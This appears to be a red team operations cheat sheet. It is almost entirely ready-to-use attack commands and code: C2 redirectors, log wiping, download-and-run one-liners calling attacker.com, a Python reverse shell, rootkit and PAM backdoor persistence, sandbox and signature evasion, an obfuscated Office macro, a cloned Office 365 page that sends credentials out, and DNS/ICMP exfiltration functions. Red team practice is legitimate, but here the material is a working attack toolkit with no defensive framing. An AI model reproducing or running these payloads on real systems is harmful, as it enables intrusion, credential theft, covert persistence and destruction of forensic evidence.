Red Team Operations
Advanced red team tactics, techniques, and procedures for sophisticated engagements.
Operational Security (OPSEC)
Infrastructure Setup
# Redirectors with iptables
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination C2_SERVER:80
iptables -t nat -A POSTROUTING -j MASQUERADE
# Apache mod_rewrite for C2 redirection
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BadBot [NC]
RewriteRule ^.*$ https://legitimate-site.com [P]
RewriteRule ^.*$ http://C2_SERVER%{REQUEST_URI} [P]
# Domain fronting with CloudFlare
curl https://cloudflare-domain.com --header "Host: your-c2.com"
# DNS over HTTPS for C2
curl -H 'accept: application/dns-json' 'https://dns.google/resolve?name=c2.attacker.com'
Traffic Obfuscation
# HTTP parameter pollution
payload = "cmd=whoami&cmd=ls"
# Domain generation algorithm (DGA)
import hashlib
from datetime import datetime
def generate_domains(seed, date):
domains = []
for i in range(100):
data = f"{seed}{date}{i}".encode()
hash_val = hashlib.md5(data).hexdigest()[:16]
domains.append(f"{hash_val}.com")
return domains
# Steganography for C2
from PIL import Image
import stepic
# Hide data in image
img = Image.open('image.png')
img_encoded = stepic.encode(img, b'secret command')
img_encoded.save('output.png')
# Extract data
img_secret = Image.open('output.png')
data = stepic.decode(img_secret)
Anti-Forensics
# Timestomping
timestomp payload.exe -z "2020-01-01 12:00:00"
# Event log manipulation
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Clear specific events
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /f:text /c:1 | wevtutil delete-event
# USN journal deletion
fsutil usn deletejournal /D C:
# Prefetch clearing
del /q /f C:\Windows\Prefetch\*
# Remove BAM entries
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings" /f
# Disable ETW
logman stop EventLog-Application -ets
logman stop EventLog-System -ets
# Memory-only execution
powershell -NoP -sta -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
Living Off the Land (LOTL)
Windows LOLBAS
# Regsvr32 bypass
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
# MSHTA execution
mshta http://attacker.com/payload.hta
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')"":close")
# rundll32 execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')")
# MSBuild execution
msbuild.exe payload.xml
# InstallUtil bypass
InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
# Regasm/Regsvcs
regasm.exe /U payload.dll
regsvcs.exe payload.dll
# WMIC execution
wmic process call create "powershell -enc BASE64_PAYLOAD"
# BITSAdmin for persistence
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://attacker.com/payload.exe C:\Windows\Temp\payload.exe
bitsadmin /SetNotifyCmdLine backdoor C:\Windows\Temp\payload.exe ""
bitsadmin /resume backdoor
Linux LOTL
# Fileless execution with /dev/shm
wget -O- http://attacker.com/payload.sh | bash
curl http://attacker.com/payload | sh
# Memfd execution
curl http://attacker.com/payload -o /proc/self/fd/3
# Python inline execution
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Abuse cron without crontab
echo '* * * * * root /tmp/payload' > /etc/cron.d/backdoor
# Library injection
LD_PRELOAD=/tmp/malicious.so /usr/bin/sudo whoami
# Abuse systemd timers
cat > /etc/systemd/system/backdoor.timer << EOF
[Unit]
Description=Backdoor Timer
[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
[Install]
WantedBy=timers.target
EOF
Advanced Persistence
Windows Advanced Persistence
# COM hijacking
$clsid = "{CLSID-HERE}"
$dll_path = "C:\Path\To\Malicious.dll"
New-Item -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(default)" -Value $dll_path
# AppInit_DLLs
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\malicious.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
# Netsh helper DLL
netsh add helper C:\malicious.dll
# BITS persistence
Import-Module BitsTransfer
$job = Start-BitsTransfer -Source http://attacker.com/payload.exe -Destination C:\Windows\Temp\payload.exe -Asynchronous
$job | Add-BitsFile -Destination C:\Windows\Temp\payload.exe
$job | Set-BitsJobPriority -Priority High
$job | Set-BitsJobNotificationCmdLine -Command "C:\Windows\Temp\payload.exe"
$job | Resume-BitsTransfer
# Skeleton key (Mimikatz)
mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
# DCSync persistence via ACL
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity backdoor_user -Rights DCSync
# Golden certificate (AD CS)
certipy ca -backup -username administrator@domain.com -password password -dc-ip 10.10.10.10
Linux Advanced Persistence
# LD_PRELOAD rootkit
cat > /tmp/rootkit.c << 'EOF'
#include <dlfcn.h>
int getuid() { return 0; }
int geteuid() { return 0; }
EOF
gcc -shared -fPIC /tmp/rootkit.c -o /lib/libprocesshider.so
echo "/lib/libprocesshider.so" >> /etc/ld.so.preload
# PAM backdoor
echo "auth sufficient pam_succeed_if.so quiet uid >= 1000" >> /etc/pam.d/common-auth
# SSH key persistence
mkdir -p /root/.ssh
echo "ATTACKER_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Kernel module rootkit
insmod /tmp/rootkit.ko
# Systemd service obfuscation
cat > /etc/systemd/system/systemd-[random].service << EOF
[Unit]
Description=System Manager Daemon
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/.[random] --daemon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable systemd-[random].service
systemctl start systemd-[random].service
Detection Evasion
Behavioral Evasion
# Sandbox detection
import time
import os
import psutil
def detect_sandbox():
# Check CPU cores
if psutil.cpu_count() < 2:
return True
# Check RAM
if psutil.virtual_memory().total < 4 * 1024 * 1024 * 1024: # 4GB
return True
# Check for VM artifacts
vm_files = [
r"C:\windows\System32\Drivers\Vmmouse.sys",
r"C:\windows\System32\Drivers\vmtray.dll",
r"C:\windows\System32\Drivers\VMToolsHook.dll",
]
for file in vm_files:
if os.path.exists(file):
return True
# Sleep and check time
start = time.time()
time.sleep(10)
if time.time() - start < 9: # Sandboxes often skip sleeps
return True
return False
# User interaction check
def wait_for_interaction():
import win32api
import win32con
clicks = 0
last_pos = win32api.GetCursorPos()
while clicks < 5:
time.sleep(1)
new_pos = win32api.GetCursorPos()
if new_pos != last_pos:
clicks += 1
last_pos = new_pos
Signature Evasion
# String obfuscation
def xor_encrypt(data, key):
return bytes([b ^ key for b in data])
# Shellcode encryption
from Crypto.Cipher import AES
import base64
def encrypt_shellcode(shellcode, key):
cipher = AES.new(key, AES.MODE_EAX)
nonce = cipher.nonce
ciphertext, tag = cipher.encrypt_and_digest(shellcode)
return base64.b64encode(nonce + ciphertext + tag)
# Runtime deobfuscation
encrypted = "BASE64_ENCRYPTED_SHELLCODE"
key = b'sixteen byte key'
data = base64.b64decode(encrypted)
nonce, ciphertext, tag = data[:16], data[16:-16], data[-16:]
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
shellcode = cipher.decrypt_and_verify(ciphertext, tag)
# API hashing
def get_api_hash(api_name):
import hashlib
return int(hashlib.md5(api_name.encode()).hexdigest()[:8], 16)
# Dynamic API resolution
import ctypes
kernel32 = ctypes.windll.kernel32
GetProcAddress = kernel32.GetProcAddress
GetModuleHandle = kernel32.GetModuleHandleA
Advanced Phishing
Email Spoofing
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def send_spoofed_email():
msg = MIMEMultipart('alternative')
msg['Subject'] = "Important: Security Update Required"
msg['From'] = "IT Security <security@legitimate-company.com>"
msg['To'] = "victim@target.com"
# Add headers to bypass SPF/DKIM
msg.add_header('Reply-To', 'it-support@attacker.com')
msg.add_header('Return-Path', 'no-reply@legitimate-company.com')
html = """
<html><body>
<p>Dear User,<br><br>
A critical security update is required. Please click
<a href="https://attacker.com/phish">here</a> to update.<br><br>
IT Security Team</p>
</body></html>
"""
msg.attach(MIMEText(html, 'html'))
server = smtplib.SMTP('attacker-smtp.com', 587)
server.starttls()
server.login('user', 'pass')
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
Office Macro Obfuscation
Sub AutoOpen()
ExecutePayload
End Sub
Function ExecutePayload()
Dim objShell As Object
Dim cmd As String
' XOR decode command
Dim encoded As String
encoded = "ENCODED_PAYLOAD_HERE"
cmd = DecodeXOR(encoded, 42)
Set objShell = CreateObject("WScript.Shell")
objShell.Run cmd, 0, False
End Function
Function DecodeXOR(data As String, key As Integer) As String
Dim result As String
Dim i As Integer
For i = 1 To Len(data)
result = result & Chr(Asc(Mid(data, i, 1)) Xor key)
Next i
DecodeXOR = result
End Function
Credential Harvesting
<!-- Cloned login page -->
<!DOCTYPE html>
<html>
<head>
<title>Office 365 Login</title>
<link rel="icon" href="data:image/png;base64,FAVICON_BASE64">
</head>
<body>
<div id="login-form">
<img src="microsoft-logo.png">
<form action="harvest.php" method="POST">
<input type="email" name="username" placeholder="Email" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
</div>
<script>
// Steal entered credentials
document.querySelector('form').addEventListener('submit', function(e) {
e.preventDefault();
var data = new FormData(this);
fetch('https://attacker.com/harvest.php', {
method: 'POST',
body: data
}).then(() => {
window.location.href = 'https://login.microsoftonline.com';
});
});
</script>
</body>
</html>
Exfiltration Techniques
Data Encoding and Channels
# DNS exfiltration
import dns.resolver
import base64
def dns_exfil(data, domain):
encoded = base64.b32encode(data.encode()).decode()
chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
for i, chunk in enumerate(chunks):
query = f"{i}.{chunk}.{domain}"
try:
dns.resolver.resolve(query, 'A')
except:
pass
# ICMP exfiltration
from scapy.all import *
def icmp_exfil(data, target):
for i in range(0, len(data), 32):
chunk = data[i:i+32]
packet = IP(dst=target)/ICMP()/Raw(load=chunk)
send(packet, verbose=0)
# HTTP header exfiltration
import requests
def header_exfil(data, url):
headers = {
'X-Data': base64.b64encode(data.encode()).decode(),
'User-Agent': 'Mozilla/5.0'
}
requests.get(url, headers=headers)
# Steganography exfiltration
from PIL import Image
import stepic
def steg_exfil(data, image_path, output_path):
img = Image.open(image_path)
img_encoded = stepic.encode(img, data.encode())
img_encoded.save(output_path)
Covert Channels
# Timing channel
import time
def timing_exfil(bits, delay=0.1):
for bit in bits:
if bit == '1':
time.sleep(delay * 2)
else:
time.sleep(delay)
# Send dummy packet
requests.get('https://target.com/ping')
# Protocol tunneling
# DNS tunneling with iodine
# On server
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# On client
iodine -f -P password tunnel.attacker.com
# HTTP/HTTPS tunneling with chisel
# Server
chisel server --reverse --port 8080
# Client
chisel client https://attacker.com:8080 R:socks
Useful Links
Red Team Frameworks
- Cobalt Strike - Commercial C2 framework
- MITRE ATT&CK - Adversary tactics and techniques
- Red Team Development
- Awesome Red Teaming
OPSEC & Infrastructure
- Red Team Infrastructure
- Domain Fronting
- C2 Matrix - C2 framework comparison
Living Off the Land
Evasion
Persistence
Phishing
- Gophish - Phishing framework
- Social-Engineer Toolkit
- EvilGinx2 - MITM phishing